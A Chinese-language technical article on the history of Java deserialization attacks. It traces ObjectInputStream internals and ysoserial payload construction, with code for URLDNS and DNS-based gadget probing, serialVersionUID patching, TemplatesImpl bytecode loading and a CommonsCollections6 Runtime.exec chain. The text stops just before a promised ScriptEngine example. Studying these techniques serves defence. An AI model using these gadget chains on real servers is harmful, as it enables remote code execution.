反序列化瘟疫的十年传播史:Java安全生态的攻防博弈
引言 以此为分水岭,Java 安全生态遭遇连锁式冲击波。WebLogic(CVE-2016-0638)、WebSphere(CVE-2020-4450 ) 等中间件的反序列化漏洞相继曝光,暴露出企业 2025-2-24 09:48:50 Author: govuln.com(查看原文) 阅读量:73 收藏

 引言 

以此为分水岭,Java 安全生态遭遇连锁式冲击波。WebLogic(CVE-2016-0638)、WebSphere(CVE-2020-4450 ) 等中间件的反序列化漏洞相继曝光,暴露出企业基础设施的"协议信任危机"。伴随 ysoserial 、marshalsec 等武器化工具的迭代升级,攻击向量突破Java原生序列化边界,向JSON/XML等数据交换格式(Fastjson CVE-2017-18349、XStream CVE-2021-39144)发起降维打击。而内存马等无文件攻击技术的衍生,则标志着反序列化漏洞利用正式进入对抗检测的隐蔽作战阶段。

这场持续十年的攻防博弈,本质上是安全范式与技术哲学的多重较量:防御方从初期的黑名单修补(SerialKiller)与流量数据包检测进化至JEP 290机制驱动的全局序列化过滤器以及使用RASP技术进行多层防御,攻击方则不断挖掘新型Gadget链突破防御边界;安全社区推动着从 Commons Collections 组件加固到 JDK 层防御体系的构建,而攻击者持续探索着 Fastjson 、Hessian 等其他序列化实现的逻辑缺陷。每一次攻防技术的代际跃迁,都在重新定义着 Java 反序列化安全的攻防博弈图谱。

反序列化攻击分析

在反序列化方式中主要分为 Java 原生序列化和第三方库提供的序列化,以 JSON、Hessain、AMF为代表。其次在各种应用层协议中也会使用到反序列化的方式传递数据,这样也引入了相关的攻击面。

 Java 原生反序列化 

  • 基础介绍

Java 原生反序列化的过程主要通过 ObjectInputStream 类中的 readObject() 方法实现。当程序调用 readObject()时,它会从输入流中读取字节数据,并将其转化为对应的 Java 对象。在此过程中,readObject() 会首先验证对象的类是否存在,并逐一恢复对象的字段数据。如果对象类实现了自定义的反序列化方法,即 readObject() 方法,那么此方法会被调用来处理额外的反序列化逻辑。对于实现了 Serializable 接口的类,readObject() 方法是自动调用的,通常无需开发者干预。另外的 Externalizable 接口会调用 readExternal 方法进行反序列化操作。

正是因为反序列化过程中的这些方法会自动或手动调用类中的构造方法和其他方法,因此如果反序列化过程中没有足够的安全性措施和输入验证(黑白名单等),攻击者就可以通过精心构造的恶意字节流来利用这些漏洞。目前已经公开了多个常用包的利用链。

  • 技术剖析

java.io.ObjectInputStream#readObject

public final Object readObject()    throws IOException, ClassNotFoundException{    if (enableOverride) {        return readObjectOverride();    }    // if nested read, passHandle contains handle of enclosing object    int outerHandle = passHandle;    try {        Object obj = readObject0(false);        handles.markDependency(outerHandle, passHandle);        ClassNotFoundException ex = handles.lookupException(passHandle);        if (ex != null) {            throw ex;        }        if (depth == 0) {            vlist.doCallbacks();        }        return obj;    } finally {        passHandle = outerHandle;        if (closed && depth == 0) {            clear();        }    }}

在readObject0方法中,如果遇到TC_RESET会调用handleReset方法处理,

private Object readObject0(Class<?> typeboolean unshared) throws IOException {    boolean oldMode = bin.getBlockDataMode();    if (oldMode) {        int remain = bin.currentBlockRemaining();        if (remain > 0) {            throw new OptionalDataException(remain);        } else if (defaultDataEnd) {            /*             * Fix for 4360508: stream is currently at the end of a field             * value block written via default serialization; since there             * is no terminating TC_ENDBLOCKDATA tag, simulate             * end-of-custom-data behavior explicitly.             */            throw new OptionalDataException(true);        }        bin.setBlockDataMode(false);    }    byte tc;    while ((tc = bin.peekByte()) == TC_RESET) {        bin.readByte();        handleReset();    }..........    case TC_OBJECT:    if (type == String.class) {        throw new ClassCastException("Cannot cast an object to java.lang.String");    }    return checkResolve(readOrdinaryObject(unshared));

handleReset方法反序列化的递归深度为0时,TC_RESET 会触发清除内部数据结构。这意味着反序列化器会清空已经解析的所有对象和数据,回到一个初始状态。

private void handleReset() throws StreamCorruptedException {    if (depth > 0) {        throw new StreamCorruptedException(            "unexpected reset; recursion depth: " + depth);    }    clear();}

当遇到的是tc_object时,会调用readOrdinaryObject方法,

private Object readOrdinaryObject(boolean unshared)    throws IOException{    if (bin.readByte() != TC_OBJECT) {        throw new InternalError();    }    ObjectStreamClass desc = readClassDesc(false);    desc.checkDeserialize();    Class<?> cl = desc.forClass();    if (cl == String.class || cl == Class.class            || cl == ObjectStreamClass.class) {        throw new InvalidClassException("invalid class descriptor");    }    Object obj;    try {        obj = desc.isInstantiable() ? desc.newInstance() : null;    } catch (Exception ex) {        throw (IOExceptionnew InvalidClassException(            desc.forClass().getName(),            "unable to create instance").initCause(ex);    }    passHandle = handles.assign(unshared ? unsharedMarker : obj);    ClassNotFoundException resolveEx = desc.getResolveException();    if (resolveEx != null) {        handles.markException(passHandle, resolveEx);    }    if (desc.isExternalizable()) {        readExternalData((Externalizable) obj, desc);    } else {        readSerialData(obj, desc);    }    handles.finish(passHandle);    if (obj != null &&        handles.lookupException(passHandle) == null &&        desc.hasReadResolveMethod())    {        Object rep = desc.invokeReadResolve(obj);        if (unshared && rep.getClass().isArray()) {            rep = cloneArray(rep);        }        if (rep != obj) {            // Filter the replacement object            if (rep != null) {                if (rep.getClass().isArray()) {                    filterCheck(rep.getClass(), Array.getLength(rep));                } else {                    filterCheck(rep.getClass(), -1);                }            }            handles.setObject(passHandle, obj = rep);        }    }    return obj;}

readOrdinaryObject会调用readClassDesc方法,该方法的主要作用是从输入流中读取当前对象的类描述符。类描述符包含有关对象的完整类信息,包括类名、字段类型以及其他元数据。

private ObjectStreamClass readNonProxyDesc(boolean unshared)        throws IOException    {        if (bin.readByte() != TC_CLASSDESC) {            throw new InternalError();        }        ObjectStreamClass desc = new ObjectStreamClass();        int descHandle = handles.assign(unshared ? unsharedMarker : desc);        passHandle = NULL_HANDLE;        ObjectStreamClass readDesc = null;        try {            readDesc = readClassDescriptor();        } catch (ClassNotFoundException ex) {            throw (IOException) new InvalidClassException(                "failed to read class descriptor").initCause(ex);        }        Class<?> cl = null;        ClassNotFoundException resolveEx = null;        bin.setBlockDataMode(true);        final boolean checksRequired = isCustomSubclass();        try {            if ((cl = resolveClass(readDesc)) == null) {                resolveEx = new ClassNotFoundException("null class");            } else if (checksRequired) {                ReflectUtil.checkPackageAccess(cl);            }        } catch (ClassNotFoundException ex) {            resolveEx = ex;        }                filterCheck(cl, -1);                skipCustomData();                try {            totalObjectRefs++;            depth++;            desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));        } finally {            depth--;        }

readNonProxyDesc方法中会调用resolveClass方法,目前很多黑白名单实现都是靠重写resolveClass方法,检测类名,filterCheck方法会做JEP290这类检测(如果配置了serialFilter)。

private void filterCheck(Class<?> clazz, int arrayLength)        throws InvalidClassException {    if (serialFilter != null) {        RuntimeException ex = null;        ObjectInputFilter.Status status;        // Info about the stream is not available if overridden by subclass, return 0        long bytesRead = (bin == null) ? 0 : bin.getBytesRead();        try {            status = serialFilter.checkInput(new FilterValues(clazz, arrayLength,                    totalObjectRefs, depth, bytesRead));        } catch (RuntimeException e) {            // Preventive interception of an exception to log            status = ObjectInputFilter.Status.REJECTED;            ex = e;        }        if (Logging.filterLogger != null) {            // Debug logging of filter checks that fail; Tracing for those that succeed            Logging.filterLogger.log(status == null || status == ObjectInputFilter.Status.REJECTED                            ? Logger.Level.DEBUG                            : Logger.Level.TRACE,                    "ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",                    status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,                    Objects.toString(ex, "n/a"));        }        if (status == null ||                status == ObjectInputFilter.Status.REJECTED) {            InvalidClassException ice = new InvalidClassException("filter status: " + status);            ice.initCause(ex);            throw ice;        }    }}
void initNonProxy(ObjectStreamClass model,                  Class<?> cl,                  ClassNotFoundException resolveEx,                  ObjectStreamClass superDesc)    throws InvalidClassException{    long suid = Long.valueOf(model.getSerialVersionUID());    ObjectStreamClass osc = null;    if (cl != null) {        osc = lookup(cl, true);        if (osc.isProxy) {            throw new InvalidClassException(                    "cannot bind non-proxy descriptor to a proxy class");        }        if (model.isEnum != osc.isEnum) {            throw new InvalidClassException(model.isEnum ?                    "cannot bind enum descriptor to a non-enum class" :                    "cannot bind non-enum descriptor to an enum class");        }        if (model.serializable == osc.serializable &&                !cl.isArray() &&                suid != osc.getSerialVersionUID()) {            throw new InvalidClassException(osc.name,                    "local class incompatible: " +                            "stream classdesc serialVersionUID = " + suid +                            ", local class serialVersionUID = " +                            osc.getSerialVersionUID());        }        if (!classNamesEqual(model.name, osc.name)) {            throw new InvalidClassException(osc.name,                    "local class name incompatible with stream class " +                            "name \"" + model.name + "\"");        }

然后在initNonProxy方法中,会检测反序列化类的suid以及是否实现了serializable接口。

获取完类的描述符后,又再次回到readOrdinaryObject方法中,如果是externalizable就会调用readExternalData,如果是serializable就调用readSerialData恢复数据。当反序列化器通过 readClassDesc已经读取了类描述符,接下来会调用 readSerialData() 来读取该对象的实际数据(字段值)。根据类描述符中的信息,逐个字段地将字节流中的数据反序列化成相应的字段类型,并填充到对象的各个字段中。

    if (desc.isExternalizable()) {        readExternalData((Externalizable) obj, desc);    } else {        readSerialData(obj, desc);    }

readSerialData方法中,会调用反序列化类的readObject方法,slotDesc.invokeReadObject

private void readSerialData(Object obj, ObjectStreamClass desc)    throws IOException{    ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();    for (int i = 0; i < slots.length; i++) {        ObjectStreamClass slotDesc = slots[i].desc;        if (slots[i].hasData) {            if (obj == null || handles.lookupException(passHandle) != null) {                defaultReadFields(null, slotDesc); // skip field values            } else if (slotDesc.hasReadObjectMethod()) {                ThreadDeath t = null;                boolean reset = false;                SerialCallbackContext oldContext = curContext;                if (oldContext != null)                    oldContext.check();                try {                    curContext = new SerialCallbackContext(obj, slotDesc);                    bin.setBlockDataMode(true);                    slotDesc.invokeReadObject(obj, this);
  • 利用方式发展

ysoserial工具于2015年发布,它是一个用于测试和演示Java反序列化漏洞的工具,它主要被安全研究人员用来生成恶意的序列化数据流,以便在易受攻击的Java应用程序中利用反序列化漏洞。ysoserial通过构造特定的恶意Java对象序列化流,使得攻击者可以在目标系统上触发任意代码执行。

在攻防对抗的持续演进中,安全研究人员发现ysoserial在实战化漏洞利用场景存在多重瓶颈:包不同版本导致SUID不一致,其原生Payload构造模式也仅限于基础命令执行功能。不过后续大家都一一解决了这些问题,并且做了更加符合实战化的改造。

  • Gadget 探测

在最开始黑盒反序列化漏洞的利用中,由于不知道目标classpath下有哪些jar包,所以通常需要盲打所有的Gadget。但是盲打会存在一个问题,当利用失败时无法确认是不存在利用链还是其他问题导致的失败。为了解决这个盲点问题。目前最常用的一种探测利用链的方案是通过DNSLOG的方式探测目标是否存在漏洞JAR包,在ysoserial中内置了一个URLDNS的利用链,该利用链是JDK内置类通用性高,最后的效果是能产生DNS请求,通常会使用URLDNS来判断目标是否存在JAVA反序列化。

public class URLDNS implements ObjectPayload<Object> {        public Object getObject(final String url) throws Exception {                //Avoid DNS resolution during payload creation                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.                URLStreamHandler handler = new SilentURLStreamHandler();                HashMap ht = new HashMap(); // HashMap that will contain the URL                URL u = new URL(null, url, handler); // URL to use as the Key                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.                return ht;        }                        static class SilentURLStreamHandler extends URLStreamHandler {                protected URLConnection openConnection(URL u) throws IOException {                        return null;                }                protected synchronized InetAddress getHostAddress(URL u) {                        return null;                }        }}

URLDNS的大概原理为,

*   Gadget Chain:

*     HashMap.readObject()

*       HashMap.putVal()

*         HashMap.hash()

*           URL.hashCode()

由于 hashmap 的哈希表特性,为了快速定位以及解决冲突的问题,会调用 key 的 hashcode 方法。

在 java.net.URL#hashCode 方法中,

public synchronized int hashCode() {    if (hashCode != -1)        return hashCode;    hashCode = handler.hashCode(this);    return hashCode;}

为了触发handler的hashCode方法,所以通过反射设置了url对象的hashCode为-1,

java.net.URLStreamHandler#hashCode 中,通过getHostAddress产生了DNS请求。

protected int hashCode(URL u) {    int h = 0;    // Generate the protocol part.    String protocol = u.getProtocol();    if (protocol != null)        h += protocol.hashCode();    // Generate the host part.    InetAddress addr = getHostAddress(u);    if (addr != null) {        h += addr.hashCode();    } else {        String host = u.getHost();        if (host != null)            h += host.toLowerCase().hashCode();    }    // Generate the file part.    String file = u.getFile();    if (file != null)        h += file.hashCode();    // Generate the port part.    if (u.getPort() == -1)        h += getDefaultPort();    else        h += u.getPort();    // Generate the ref part.    String ref = u.getRef();    if (ref != null)        h += ref.hashCode();    return h;}

基于URLDNS进一步延伸出了,通过DNS判断目标是否存在利用类。

java.util.HashMap#readObject

for (int i = 0; i < mappings; i++) {    @SuppressWarnings("unchecked")        K key = (K) s.readObject();    @SuppressWarnings("unchecked")        V value = (V) s.readObject();    putVal(hash(key), key, value, falsefalse);}

在hashmap的readObject方法中,会进行两次反序列化分别获取到key和value。在hashmap putval时,只会对key调用hashcode方法,所以value随意。

这时候通过将value设置为利用类,如果目标不存在则会反序列化异常,就不会走到hash(key)也就不会触发DNS请求了。

    public static Class makeClass(String clazzName) throws Exception{        ClassPool classPool = ClassPool.getDefault();        CtClass ctClass = classPool.makeClass(clazzName);//        ctClass.addInterface(classPool.get(Serializable.class.getName()));//        CtField suidField = CtField.make(String.format("private static final long serialVersionUID = %dL;"1), ctClass);//        ctClass.addField(suidField);        ctClass.defrost();        Class clazz = ctClass.toClass();        return clazz;    }public static HashMap makeHashMap(String url, String className) throws Exception{    URLStreamHandler handler = new SilentURLStreamHandler();    HashMap hashmap = new HashMap();    URL u = new URL(null, url, handler);    Class gadget = makeClass(className);    hashmap.put(u, gadget);    Reflections.setFieldValue(u, "hashCode", -1);    return hashmap;}public Object getObject(String url) throws Exception {    String dnslog = url;    List<Object> list = new LinkedList<Object>();    HashMap cb19 = makeHashMap("http://cb19." + url, "org.apache.commons.beanutils.IntrospectionContext");    list.add(cb19);    HashMap cc321 = makeHashMap("http://cc321." + url,  "org.apache.commons.collections.ArrayStack");    list.add(cc321);    return list;}

然后通过 linkedlist 加上所有的 hashmap 就可以一次性判断所有的利用链,makeClass 中也可以添加serialVersionUID 属性判断目标的 jar 包版本。

部分场景下,目标服务器也可能未配置 DNS 解析,在时候也可以通过嵌套多层 HashSet,形成类似 DOS 造成目标返回变慢来判断是否存在利用类。

  • serialVersionUID 不一致

在 Java 的序列化机制中,serialVersionUID 是一个非常重要的标识符,主要用于版本控制和兼容性管理。serialVersionUID 是 Java 序列化机制中用于标识类版本的一个唯一标识符。当一个类实现了 Serializable 接口时,JVM 会通过 serialVersionUID 来验证序列化和反序列化的类是否是同一个版本。如果在反序列化时,目标类的 serialVersionUID 与序列化时使用的 serialVersionUID 不一致,JVM 会抛出 InvalidClassException,从而防止因版本不匹配而导致的数据不一致问题。

if (model.serializable == osc.serializable &&        !cl.isArray() &&        suid != osc.getSerialVersionUID()) {    throw new InvalidClassException(osc.name,            "local class incompatible: " +                    "stream classdesc serialVersionUID = " + suid +                    ", local class serialVersionUID = " +                    osc.getSerialVersionUID());}

Java在反序列时, 会把传来的字节流中的serialVersionUID与本地对应类的serialVersionUID进行校验, 在两个SUID不同的情况下, 会抛出版本号不同的异常, 不再进行反序列。

java.io.ObjectStreamClass中,会先尝试获取类中的serialVersionUID,

private static Long getDeclaredSUID(Class<?> cl) {    try {        Field f = cl.getDeclaredField("serialVersionUID");        int mask = Modifier.STATIC | Modifier.FINAL;        if ((f.getModifiers() & mask) == mask) {            f.setAccessible(true);            return Long.valueOf(f.getLong(null));        }    } catch (Exception ex) {    }    return null;}

如果开发者没有手动定义serialVersionUID属性,则会调用computeDefaultSUID方法自动计算出suid,

public long getSerialVersionUID() {    // REMIND: synchronize instead of relying on volatile?    if (suid == null) {        suid = AccessController.doPrivileged(            new PrivilegedAction<Long>() {                public Long run() {                    return computeDefaultSUID(cl);                }            }        );    }    return suid.longValue();}

computeDefaultSUID 会基于类的名字、字段信息、类的修饰符、类中的方法以及继承链等多种因素计算出一个 64 位的长整型值,作为该类的默认序列化 UID。所以如果开发者没有手动定义SUID在版本更替后,由于方法、属性的修改就会导致SUID不一致。

private static long computeDefaultSUID(Class<?> cl) {    if (!Serializable.class.isAssignableFrom(cl) || Proxy.isProxyClass(cl))    {        return 0L;    }    try {        ByteArrayOutputStream bout = new ByteArrayOutputStream();        DataOutputStream dout = new DataOutputStream(bout);        dout.writeUTF(cl.getName());        int classMods = cl.getModifiers() &            (Modifier.PUBLIC | Modifier.FINAL |             Modifier.INTERFACE | Modifier.ABSTRACT);        /*         * compensate for javac bug in which ABSTRACT bit was set for an         * interface only if the interface declared methods         */        Method[] methods = cl.getDeclaredMethods();        if ((classMods & Modifier.INTERFACE) != 0) {            classMods = (methods.length > 0) ?                (classMods | Modifier.ABSTRACT) :                (classMods & ~Modifier.ABSTRACT);        }        dout.writeInt(classMods);        if (!cl.isArray()) {            /*             * compensate for change in 1.2FCS in which             * Class.getInterfaces() was modified to return Cloneable and             * Serializable for array classes.             */            Class<?>[] interfaces = cl.getInterfaces();            String[] ifaceNames = new String[interfaces.length];            for (int i = 0; i < interfaces.length; i++) {                ifaceNames[i] = interfaces[i].getName();            }            Arrays.sort(ifaceNames);            for (int i = 0; i < ifaceNames.length; i++) {                dout.writeUTF(ifaceNames[i]);            }        }        Field[] fields = cl.getDeclaredFields();        MemberSignature[] fieldSigs = new MemberSignature[fields.length];        for (int i = 0; i < fields.length; i++) {            fieldSigs[i] = new MemberSignature(fields[i]);        }        Arrays.sort(fieldSigs, new Comparator<MemberSignature>() {            public int compare(MemberSignature ms1, MemberSignature ms2) {                return ms1.name.compareTo(ms2.name);            }        });        for (int i = 0; i < fieldSigs.length; i++) {            MemberSignature sig = fieldSigs[i];            int mods = sig.member.getModifiers() &                (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |                 Modifier.STATIC | Modifier.FINAL | Modifier.VOLATILE |                 Modifier.TRANSIENT);            if (((mods & Modifier.PRIVATE) == 0) ||                ((mods & (Modifier.STATIC | Modifier.TRANSIENT)) == 0))            {                dout.writeUTF(sig.name);                dout.writeInt(mods);                dout.writeUTF(sig.signature);            }        }        if (hasStaticInitializer(cl)) {            dout.writeUTF("<clinit>");            dout.writeInt(Modifier.STATIC);            dout.writeUTF("()V");        }        Constructor<?>[] cons = cl.getDeclaredConstructors();        MemberSignature[] consSigs = new MemberSignature[cons.length];        for (int i = 0; i < cons.length; i++) {            consSigs[i] = new MemberSignature(cons[i]);        }        Arrays.sort(consSigs, new Comparator<MemberSignature>() {            public int compare(MemberSignature ms1, MemberSignature ms2) {                return ms1.signature.compareTo(ms2.signature);            }        });        for (int i = 0; i < consSigs.length; i++) {            MemberSignature sig = consSigs[i];            int mods = sig.member.getModifiers() &                (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |                 Modifier.STATIC | Modifier.FINAL |                 Modifier.SYNCHRONIZED | Modifier.NATIVE |                 Modifier.ABSTRACT | Modifier.STRICT);            if ((mods & Modifier.PRIVATE) == 0) {                dout.writeUTF("<init>");                dout.writeInt(mods);                dout.writeUTF(sig.signature.replace('/''.'));            }        }        MemberSignature[] methSigs = new MemberSignature[methods.length];        for (int i = 0; i < methods.length; i++) {            methSigs[i] = new MemberSignature(methods[i]);        }        Arrays.sort(methSigs, new Comparator<MemberSignature>() {            public int compare(MemberSignature ms1, MemberSignature ms2) {                int comp = ms1.name.compareTo(ms2.name);                if (comp == 0) {                    comp = ms1.signature.compareTo(ms2.signature);                }                return comp;            }        });        for (int i = 0; i < methSigs.length; i++) {            MemberSignature sig = methSigs[i];            int mods = sig.member.getModifiers() &                (Modifier.PUBLIC | Modifier.PRIVATE | Modifier.PROTECTED |                 Modifier.STATIC | Modifier.FINAL |                 Modifier.SYNCHRONIZED | Modifier.NATIVE |                 Modifier.ABSTRACT | Modifier.STRICT);            if ((mods & Modifier.PRIVATE) == 0) {                dout.writeUTF(sig.name);                dout.writeInt(mods);                dout.writeUTF(sig.signature.replace('/''.'));            }        }        dout.flush();        MessageDigest md = MessageDigest.getInstance("SHA");        byte[] hashBytes = md.digest(bout.toByteArray());        long hash = 0;        for (int i = Math.min(hashBytes.length, 8) - 1; i >= 0; i--) {            hash = (hash << 8) | (hashBytes[i] & 0xFF);        }        return hash;    } catch (IOException ex) {        throw new InternalError(ex);    } catch (NoSuchAlgorithmException ex) {        throw new SecurityException(ex.getMessage());    }}

在ysoserial的pom.xml中都内置了的jar包版本有可能会存在和目标版本不一致导致的反序列化异常。

<dependency>                        <groupId>commons-collections</groupId>                        <artifactId>commons-collections</artifactId>                        <version>3.1</version>                </dependency>                <dependency>                        <groupId>org.beanshell</groupId>                        <artifactId>bsh</artifactId>                        <version>2.0b5</version>                </dependency>                <dependency>                        <groupId>commons-beanutils</groupId>                        <artifactId>commons-beanutils</artifactId>                        <version>1.9.2</version>                </dependency>                <dependency>                        <groupId>org.apache.commons</groupId>                        <artifactId>commons-collections4</artifactId>                        <version>4.0</version>                </dependency>

当出现SUID不一致时导致的反序列化异常时,最简单的方法是直接切换jar包的版本,当然也可以尝试通过javassist添加与目标一致的SUID属性。

ClassPool pool = ClassPool.getDefault();try {    CtClass cls = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource");    CtField field = CtField.make("private static final long serialVersionUID = 7387108436934414104;",cls);    cls.addField(field);    cls.writeFile();catch (NotFoundException e) {    e.printStackTrace();catch (CannotCompileException e) {    e.printStackTrace();catch (IOException e) {    e.printStackTrace();}
  • 任意代码执行优化

ysoserial默认生成的Payload主要实现远程命令执行。在当前安全防御体系日趋完善的环境下,由于FAT JAR、目标机器不出网、HIDS、命令结果无法回显等原因导致命令执行越来越难用,通常需要通过针对不同的目标环境执行不同的代码实现对目标的控制。

反序列化能否代码执行和具体的利用链相关,在ysoserial中部分gadget使用了Gadgets.createTemplatesImpl方法生成templatesimpl对象。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是目前反序列化利用的常客,这是jdk中内置类。

该类中存在getOutputProperties方法,符合getter类型,所以最后能调用getter的利用链最后基本都会通过TemplatesImpl实现代码执行

public synchronized Properties getOutputProperties() {    try {        return newTransformer().getOutputProperties();    }    catch (TransformerConfigurationException e) {        return null;    }}

在newTransformer方法中,又调用了getTransletInstance方法,

public synchronized Transformer newTransformer()    throws TransformerConfigurationException{    TransformerImpl transformer;    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,        _indentNumber, _tfactory);
private Translet getTransletInstance()    throws TransformerConfigurationException {    try {        if (_name == nullreturn null;        if (_class == null) defineTransletClasses();        // The translet needs to keep a reference to all its auxiliary        // class to prevent the GC from collecting them        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
private void defineTransletClasses()    throws TransformerConfigurationException {    if (_bytecodes == null) {        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);        throw new TransformerConfigurationException(err.toString());    }    TransletClassLoader loader = (TransletClassLoader)        AccessController.doPrivileged(new PrivilegedAction() {            public Object run() {                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());            }        });    try {        final int classCount = _bytecodes.length;        _class = new Class[classCount];        if (classCount > 1) {            _auxClasses = new HashMap<>();        }        for (int i = 0; i < classCount; i++) {            _class[i] = loader.defineClass(_bytecodes[i]);            final Class superClass = _class[i].getSuperclass();            // Check if this is the main class            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {                _transletIndex = i;            }            else {                _auxClasses.put(_class[i].getName(), _class[i]);            }        }        if (_transletIndex < 0) {            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);            throw new TransformerConfigurationException(err.toString());        }    }    catch (ClassFormatError e) {        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);        throw new TransformerConfigurationException(err.toString());    }    catch (LinkageError e) {        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);        throw new TransformerConfigurationException(err.toString());    }}

getTransletInstance中对_bytecodes进行了defineClass,然后newInstance实例化,所以在反序列化时给_bytecodes设置class字节码,就能实现任意代码执行。

再回到ysoserial中,ysoserial.payloads.util.Gadgets#createTemplatesImpl,

private void defineTransletClasses()    throws TransformerConfigurationException {    if (_bytecodes == null) {        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);        throw new TransformerConfigurationException(err.toString());    }    TransletClassLoader loader = (TransletClassLoader)        AccessController.doPrivileged(new PrivilegedAction() {            public Object run() {                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());            }        });    try {        final int classCount = _bytecodes.length;        _class = new Class[classCount];        if (classCount > 1) {            _auxClasses = new HashMap<>();        }        for (int i = 0; i < classCount; i++) {            _class[i] = loader.defineClass(_bytecodes[i]);            final Class superClass = _class[i].getSuperclass();            // Check if this is the main class            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {                _transletIndex = i;            }            else {                _auxClasses.put(_class[i].getName(), _class[i]);            }        }        if (_transletIndex < 0) {            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);            throw new TransformerConfigurationException(err.toString());        }    }    catch (ClassFormatError e) {        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);        throw new TransformerConfigurationException(err.toString());    }    catch (LinkageError e) {        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);        throw new TransformerConfigurationException(err.toString());    }}

默认提供的createTemplatesImpl方法中,内置的模板就是Runtime.exec实现的命令执行,然后Javassist生成字节码,

通过反射设置到_bytecodes属性中。

通过修改cmd就能实现任意代码执行,或者直接读取class文件然后设置到_bytecodes中。

if(command.startsWith("classfile:")){    String path = command.split(":")[1];    FileInputStream in =new FileInputStream(new File(path));    classBytes=new byte[in.available()];    in.read(classBytes);    in.close();    System.out.println(command);    System.err.println("Java File Mode:"+ Arrays.toString(classBytes));}

在后续实战中通过这样的方式能成功进行代码执行,但是在某些存在安全设备的场景中往往会对数据包大小进行限制,为了解决这个问题需要对序列化数据进行缩短。

  • 移除ABSTRACT_TRANSLET

在createTemplatesImpl中,ysoserial给class设置了父类,com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

        CtClass superC = pool.get(abstTranslet.getName());        clazz.setSuperclass(superC);

这是因为在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses方法中,会判断生成类的父类是不是ABSTRACT_TRANSLET,那么这个是不是必须的呢?

        final int classCount = _bytecodes.length;        _class = new Class[classCount];        if (classCount > 1) {            _auxClasses = new HashMap<>();        }        for (int i = 0; i < classCount; i++) {            _class[i] = loader.defineClass(_bytecodes[i]);            final Class superClass = _class[i].getSuperclass();            // Check if this is the main class            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {                _transletIndex = i;            }            else {                _auxClasses.put(_class[i].getName(), _class[i]);            }        }        if (_transletIndex < 0) {            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);            throw new TransformerConfigurationException(err.toString());        }

_bytecodes是一个byte[]数组,循环生成类时,会判断defineClass生成的类的父类是否为AbstractTranslet,如果不是那么就会执行到_auxClasses.put(_class[i].getName(), _class[i]);

观察_auxClasses属性发现被transient修饰,无法通过反序列化控制值,如果直接调用_auxClasses.put会抛出空指针异常,导致代码执行中断。

private transient Map<StringClass<?>> _auxClasses = null;

再观察defineTransletClasses方法可以发现,当classCount > 1时,会对_auxClasses属性赋值HashMap,这时候put就不会再空指针异常了。

另外还存在一个_transletIndex < 0时,就会抛出异常中断的限制,_transletIndex默认为-1。 在for循环时,只有当生成类的父类为AbstractTranslet时,才会对_transletIndex属性赋值。

查看_transletIndex属性时发现该属性并没有被transient修饰,那么即使父类不是AbstractTranslet也可以通过反序列化控制该属性绕过限制。

private int _transletIndex = -1;private void  readObject(ObjectInputStream is)  throws IOException, ClassNotFoundException{_transletIndex = gf.get("_transletIndex"-1);

所以只要满足两个条件即可实现去除AbstractTranslet:

1、classCount也就是生成类的数量大于1

2、_transletIndex >= 0

在defineTransletClasses生成类后,后续会用到_transletIndex属性指定从_class属性数组中实例化哪个类,那么需要将_transletIndex属性指定为恶意类的索引。

if (_class == nulldefineTransletClasses();// The translet needs to keep a reference to all its auxiliary// class to prevent the GC from collecting themAbstractTranslet translet = (AbstractTranslet)        _class[_transletIndex].getConstructor().newInstance();

最后修改createTemplatesImpl方法如下即可不再需要继承ABSTRACT_TRANSLET。

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {    classBytes, ClassFiles.classAsBytes(Foo.class)});//Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});// required to make TemplatesImpl happyReflections.setFieldValue(templates, "_transletIndex"0);Reflections.setFieldValue(templates, "_name""Pwnr");Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());return templates;
  • 链式反射修改为代码执行

除了此类getter Gadgets.createTemplatesImpl利用链,另外还有CommonsCollections6这种链式反射的利用链。

final Transformer[] transformers = new Transformer[] {        new ConstantTransformer(Runtime.class),        new InvokerTransformer("getMethod"new Class[] {                String.classClass[].class }, new Object[] {                "getRuntime"new Class[0] }),        new InvokerTransformer("invoke"new Class[] {                Object.classObject[].class }, new Object[] {                nullnew Object[0] }),        new InvokerTransformer("exec",                new Class[] { String.class }, execArgs),        new ConstantTransformer(1) };

这种也能修改为代码执行,如下修改为ScriptEngineManager然后执行js(Nashron/Rhino)表达式,实现代码执行。

